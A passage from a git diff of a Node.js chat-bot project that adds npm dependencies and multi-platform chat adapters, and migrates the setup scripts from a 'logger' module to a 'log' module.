"sha512-iIhggPkhW3hFImKtB10w0dz4EZbs28mV/dmbcYVonWEJ6UGHHpP+bFZnTh6GNWJONg5m+U56JrL+8IxZRdgWjw==", "license": "Apache-2.0" }, + "node_modules/resend": { + "version": "6.9.2", + "resolved": "https://registry.npmjs.org/resend/-/resend-6.9.2.tgz", + "integrity": "sha512-uIM6CQ08tS+hTCRuKBFbOBvHIGaEhqZe8s4FOgqsVXSbQLAhmNWpmUhG3UAtRnmcwTWFUqnHa/+Vux8YGPyDBA==", + "license": "MIT", + "dependencies": { + "postal-mime": "2.7.3", + "svix": "1.84.1" + }, + "engines": { + "node": ">=20" + }, + "peerDependencies": { + "@react-email/render": "*" + }, + "peerDependenciesMeta": { + "@react-email/render": { + "optional": true + } + } + }, "node_modules/resolve-from": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", @@ -4038,6 +7494,15 @@ "url": "https://github.com/privatenumber/resolve-pkg-maps?sponsor=1" } }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, "node_modules/rollup": { "version": "4.60.1", "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.60.1.tgz", @@ -4083,6 +7548,22 @@ "fsevents": "~2.3.2" } }, + "node_modules/router": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", + "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "depd": "^2.0.0", + "is-promise": "^4.0.0", + "parseurl": "^1.3.3", + "path-to-regexp": "^8.0.0" + }, + "engines": { + "node": ">= 18" + } + }, "node_modules/safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", @@ -4103,6 +7584,40 @@ ], "license": "MIT" }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/scheduler": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", + "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", + "license": "MIT", + "peer": true + }, + "node_modules/sdp-transform": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/sdp-transform/-/sdp-transform-3.0.0.tgz", + "integrity": "sha512-gfYVRGxjHkGF2NPeUWHw5u6T/KGFtS5/drPms73gaSuMaVHKCY3lpLnGDfswVQO0kddeePoti09AwhYP4zA8dQ==", + "license": "MIT", + "bin": { + "sdp-verify": "checker.js" + } + }, + "node_modules/selderee": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/selderee/-/selderee-0.11.0.tgz", + "integrity": "sha512-5TF+l7p4+OsnP8BCCvSyZiSPc4x4//p5uPwK8TCnVPJYRmU2aYKMpOXvw8zM5a5JvuuCGN1jmsMwuU2W02ukfA==", + "license": "MIT", + "dependencies": { + "parseley": "^0.12.0" + }, + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, "node_modules/semver": { "version": "7.7.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", @@ -4115,6 +7630,101 @@ "node": ">=10" } }, + "node_modules/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", + "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "fresh": "^2.0.0", + "http-errors": "^2.0.1", + "mime-types": "^3.0.2", + "ms": "^2.1.3", + "on-finished": "^2.4.1", + "range-parser": "^1.2.1", + "statuses": "^2.0.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/serve-static": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", + "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", + "license": "MIT", + "dependencies": { + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "parseurl": "^1.3.3", + "send": "^1.2.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/sharp": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.34.5.tgz", + "integrity": "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==", + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "@img/colour": "^1.0.0", + "detect-libc": "^2.1.2", + "semver": "^7.7.3" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-darwin-arm64": "0.34.5", + "@img/sharp-darwin-x64": "0.34.5", + "@img/sharp-libvips-darwin-arm64": "1.2.4", + "@img/sharp-libvips-darwin-x64": "1.2.4", + "@img/sharp-libvips-linux-arm": "1.2.4", + "@img/sharp-libvips-linux-arm64": "1.2.4", + "@img/sharp-libvips-linux-ppc64": "1.2.4", + "@img/sharp-libvips-linux-riscv64": "1.2.4", + "@img/sharp-libvips-linux-s390x": "1.2.4", + "@img/sharp-libvips-linux-x64": "1.2.4", + "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", + "@img/sharp-libvips-linuxmusl-x64": "1.2.4", + "@img/sharp-linux-arm": "0.34.5", + "@img/sharp-linux-arm64": "0.34.5", + "@img/sharp-linux-ppc64": "0.34.5", + "@img/sharp-linux-riscv64": "0.34.5", + "@img/sharp-linux-s390x": "0.34.5", + "@img/sharp-linux-x64": "0.34.5", + "@img/sharp-linuxmusl-arm64": "0.34.5", + "@img/sharp-linuxmusl-x64": "0.34.5", + "@img/sharp-wasm32": "0.34.5", + "@img/sharp-win32-arm64": "0.34.5", + "@img/sharp-win32-ia32": "0.34.5", + "@img/sharp-win32-x64": "0.34.5" + } + }, "node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", @@ -4136,6 +7746,78 @@ "node": ">=8" } }, + "node_modules/side-channel": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", + "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/siginfo": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", @@ -4188,6 +7870,34 @@ "simple-concat": "^1.0.0" } }, + "node_modules/socket.io-client": { + "version": "4.8.3", + "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-4.8.3.tgz", + "integrity": "sha512-uP0bpjWrjQmUt5DTHq9RuoCBdFJF10cdX9X+a368j/Ft0wmaVgxlrjvK3kjvgCODOMMOz9lcaRzxmso0bTWZ/g==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.4.1", + "engine.io-client": "~6.6.1", + "socket.io-parser": "~4.2.4" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-parser": { + "version": "4.2.6", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.6.tgz", + "integrity": "sha512-asJqbVBDsBCJx0pTqw3WfesSY0iRX+2xzWEWzrpcH7L6fLzrhyF8WPI8UaeM4YCuDfpwA/cgsdugMsmtz8EJeg==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.4.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, "node_modules/source-map-js": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", @@ -4198,6 +7908,16 @@ "node": ">=0.10.0" } }, + "node_modules/space-separated-tokens": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz", + "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/stackback": { "version": "0.0.2", "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", @@ -4205,6 +7925,25 @@ "dev": true, "license": "MIT" }, + "node_modules/standardwebhooks": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz", + "integrity": "sha512-BbHGOQK9olHPMvQNHWul6MYlrRTAOKn03rOe4A8O3CLWhNf4YHBqq2HJKKC+sfqpxiBY52pNeesD6jIiLDz8jg==", + "license": "MIT", + "dependencies": { + "@stablelib/base64": "^1.0.0", + "fast-sha256": "^1.3.0" + } + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/std-env": { "version": "3.10.0", "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", @@ -4221,6 +7960,20 @@ "safe-buffer": "~5.2.0" } }, + "node_modules/stringify-entities": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz", + "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==", + "license": "MIT", + "dependencies": { + "character-entities-html4": "^2.0.0", + "character-entities-legacy": "^3.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", @@ -4234,6 +7987,35 @@ "node": ">=8" } }, + "node_modules/svix": { + "version": "1.84.1", + "resolved": "https://registry.npmjs.org/svix/-/svix-1.84.1.tgz", + "integrity": "sha512-K8DPPSZaW/XqXiz1kEyzSHYgmGLnhB43nQCMeKjWGCUpLIpAMMM8kx3rVVOSm6Bo6EHyK1RQLPT4R06skM/MlQ==", + "license": "MIT", + "dependencies": { + "standardwebhooks": "1.0.0", + "uuid": "^10.0.0" + } + }, + "node_modules/svix/node_modules/uuid": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-10.0.0.tgz", + "integrity": "sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/tailwindcss": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.2.2.tgz", + "integrity": "sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q==", + "license": "MIT" + }, "node_modules/tar-fs": { "version": "2.1.4", "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", @@ -4306,6 +8088,34 @@ "node": ">=14.0.0" } }, + "node_modules/toad-cache": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/toad-cache/-/toad-cache-3.7.0.tgz", + "integrity": "sha512-/m8M+2BJUpoJdgAHoG+baCwBT+tf2VraSfkBgl0Y00qIWt41DJ8R5B8nsEw0I58YwF5IZH6z24/2TobDKnqSWw==", + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/trim-lines": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz", + "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/trough": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", @@ -4384,11 +8194,24 @@ "node": ">= 0.8.0" } }, + "node_modules/type-is": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.0.1.tgz", + "integrity": "sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw==", + "license": "MIT", + "dependencies": { + "content-type": "^1.0.5", + "media-typer": "^1.1.0", + "mime-types": "^3.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, "node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "dev": true, "license": "Apache-2.0", "bin": { "tsc": "bin/tsc", @@ -4436,6 +8259,12 @@ "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", "license": "MIT" }, + "node_modules/unhomoglyph": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/unhomoglyph/-/unhomoglyph-1.0.6.tgz", + "integrity": "sha512-7uvcWI3hWshSADBu4JpnyYbTVc7YlhF5GDW/oPD5AxIxl34k4wXR3WDkPnzLxkN32LiTCTKMQLtKVZiwki3zGg==", + "license": "MIT" + }, "node_modules/unified": { "version": "11.0.5", "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz", @@ -4468,6 +8297,19 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/unist-util-position": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz", + "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/unist-util-stringify-position": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", @@ -4510,6 +8352,27 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/universal-github-app-jwt": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/universal-github-app-jwt/-/universal-github-app-jwt-2.2.2.tgz", + "integrity": "sha512-dcmbeSrOdTnsjGjUfAlqNDJrhxXizjAz94ija9Qw8YkZ1uu0d+GoZzyH+Jb9tIIqvGsadUfwg+22k5aDqqwzbw==", + "license": "MIT" + }, + "node_modules/universal-user-agent": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-7.0.3.tgz", + "integrity": "sha512-TmnEAEAsBJVZM/AADELsK76llnwcf9vMKuPz8JflO1frO8Lchitr0fNaN9d+Ap0BjKtqWqd/J17qeDnXh8CL2A==", + "license": "ISC" + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/uri-js": { "version": "4.4.1", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", @@ -4519,12 +8382,36 @@ "punycode": "^2.1.0" } }, + "node_modules/url-template": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/url-template/-/url-template-2.0.8.tgz", + "integrity": "sha512-XdVKMF4SJ0nP/O7XIPB0JwAEuT9lDIYnNsK8yGVe43y0AWoKeJNdv3ZNWh7ksJ6KqQFjOO6ox/VEitLnaVNufw==", + "license": "BSD" + }, "node_modules/util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", "license": "MIT" }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/vfile": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", @@ -4706,6 +8593,15 @@ } } }, + "node_modules/web-streams-polyfill": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", + "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, "node_modules/which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", @@ -4774,6 +8670,20 @@ } } }, + "node_modules/xmlhttprequest-ssl": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", + "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "license": "ISC" + }, "node_modules/yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", @@ -4786,6 +8696,15 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/zod": { + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.6.tgz", + "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, "node_modules/zwitch": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", diff --git a/package.json b/package.json index 91bbfbb..1997774 100644 --- a/package.json +++ b/package.json @@ -21,11 +21,22 @@ "test:watch": "vitest" }, "dependencies": { + "@beeper/chat-adapter-matrix": "^0.2.0", + "@bitbasti/chat-adapter-webex": "^0.1.0", "@chat-adapter/discord": "^4.24.0", + "@chat-adapter/gchat": "^4.24.0", + "@chat-adapter/github": "^4.24.0", + "@chat-adapter/linear": "^4.24.0", + "@chat-adapter/slack": "^4.24.0", "@chat-adapter/state-memory": "^4.24.0", + "@chat-adapter/teams": "^4.24.0", + "@chat-adapter/telegram": "^4.24.0", + "@chat-adapter/whatsapp": "^4.24.0", "@onecli-sh/sdk": "^0.2.0", + "@resend/chat-sdk-adapter": "^0.1.1", "better-sqlite3": "11.10.0", "chat": "^4.24.0", + "chat-adapter-imessage": "^0.1.1", "cron-parser": "5.5.0" }, "devDependencies": { diff --git a/setup/container.ts b/setup/container.ts index cc44350..100a884 100644 --- a/setup/container.ts +++ b/setup/container.ts @@ -5,7 +5,7 @@ import { execSync } from 'child_process'; import path from 'path'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { commandExists } from './platform.js'; import { emitStatus } from './status.js'; @@ -101,31 +101,31 @@ export async function run(args: string[]): Promise { // Build let buildOk = false; - logger.info({ runtime }, 'Building container'); + log.info('Building container', { runtime }); try { execSync(`${buildCmd} -t ${image} .`, { cwd: path.join(projectRoot, 'container'), stdio: ['ignore', 'pipe', 'pipe'], }); buildOk = true; - logger.info('Container build succeeded'); + log.info('Container build succeeded'); } catch (err) { - logger.error({ err }, 'Container build failed'); + log.error('Container build failed', { err }); } // Test let testOk = false; if (buildOk) { - logger.info('Testing container'); + log.info('Testing container'); try { const output = execSync( `echo '{}' | ${runCmd} run -i --rm --entrypoint /bin/echo ${image} "Container OK"`, { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'] }, ); testOk = output.includes('Container OK'); - logger.info({ testOk }, 'Container test result'); + log.info('Container test result', { testOk }); } catch { - logger.error('Container test failed'); + log.error('Container test failed'); } } diff --git a/setup/environment.ts b/setup/environment.ts index b9814ee..66f6fd0 100644 --- a/setup/environment.ts +++ b/setup/environment.ts @@ -8,14 +8,14 @@ import path from 'path'; import Database from 'better-sqlite3'; import { STORE_DIR } from '../src/config.js'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { commandExists, getPlatform, isHeadless, isWSL } from './platform.js'; import { emitStatus } from './status.js'; export async function run(_args: string[]): Promise { const projectRoot = process.cwd(); - logger.info('Starting environment check'); + log.info('Starting environment check'); const platform = getPlatform(); const wsl = isWSL(); @@ -66,7 +66,8 @@ export async function run(_args: string[]): Promise { } } - logger.info( + log.info( + 'Environment check complete', { platform, wsl, @@ -76,7 +77,6 @@ export async function run(_args: string[]): Promise { hasAuth, hasRegisteredGroups, }, - 'Environment check complete', ); emitStatus('CHECK_ENVIRONMENT', { diff --git a/setup/groups.ts b/setup/groups.ts index 6697029..208bd75 100644 --- a/setup/groups.ts +++ b/setup/groups.ts @@ -11,7 +11,7 @@ import path from 'path'; import Database from 'better-sqlite3'; import { STORE_DIR } from '../src/config.js'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { emitStatus } from './status.js'; function parseArgs(args: string[]): { list: boolean; limit: number } { @@ -71,7 +71,7 @@ async function syncGroups(projectRoot: string): Promise { fs.existsSync(authDir) && fs.readdirSync(authDir).length > 0; if (!hasWhatsAppAuth) { - logger.info('WhatsApp auth not found — skipping group sync'); + log.info('WhatsApp auth not found — skipping group sync'); emitStatus('SYNC_GROUPS', { BUILD: 'skipped', SYNC: 'skipped', @@ -84,7 +84,7 @@ async function syncGroups(projectRoot: string): Promise { } // Build TypeScript first - logger.info('Building TypeScript'); + log.info('Building TypeScript'); let buildOk = false; try { execSync('npm run build', { @@ -92,9 +92,9 @@ async function syncGroups(projectRoot: string): Promise { stdio: ['ignore', 'pipe', 'pipe'], }); buildOk = true; - logger.info('Build succeeded'); + log.info('Build succeeded'); } catch { - logger.error('Build failed'); + log.error('Build failed'); emitStatus('SYNC_GROUPS', { BUILD: 'failed', SYNC: 'skipped', @@ -107,7 +107,7 @@ async function syncGroups(projectRoot: string): Promise { } // Run sync script via a temp file to avoid shell escaping issues with node -e - logger.info('Fetching group metadata'); + log.info('Fetching group metadata'); let syncOk = false; try { const syncScript = ` @@ -189,12 +189,12 @@ sock.ev.on('connection.update', async (update) => { stdio: ['ignore', 'pipe', 'pipe'], }); syncOk = output.includes('SYNCED:'); - logger.info({ output: output.trim() }, 'Sync output'); + log.info('Sync output', { output: output.trim() }); } finally { try { fs.unlinkSync(tmpScript); } catch { /* ignore cleanup errors */ } } } catch (err) { - logger.error({ err }, 'Sync failed'); + log.error('Sync failed', { err }); } // Count groups in DB using better-sqlite3 (no sqlite3 CLI) diff --git a/setup/index.ts b/setup/index.ts index 7e10ddc..9975022 100644 --- a/setup/index.ts +++ b/setup/index.ts @@ -2,7 +2,7 @@ * Setup CLI entry point. * Usage: npx tsx setup/index.ts --step [args...] */ -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { emitStatus } from './status.js'; const STEPS: Record< @@ -47,7 +47,7 @@ async function main(): Promise { await mod.run(stepArgs); } catch (err) { const message = err instanceof Error ? err.message : String(err); - logger.error({ err, step: stepName }, 'Setup step failed'); + log.error('Setup step failed', { err, step: stepName }); emitStatus(stepName.toUpperCase(), { STATUS: 'failed', ERROR: message, diff --git a/setup/mounts.ts b/setup/mounts.ts index e14d23b..a456175 100644 --- a/setup/mounts.ts +++ b/setup/mounts.ts @@ -6,7 +6,7 @@ import fs from 'fs'; import path from 'path'; import os from 'os'; -import { logger } from 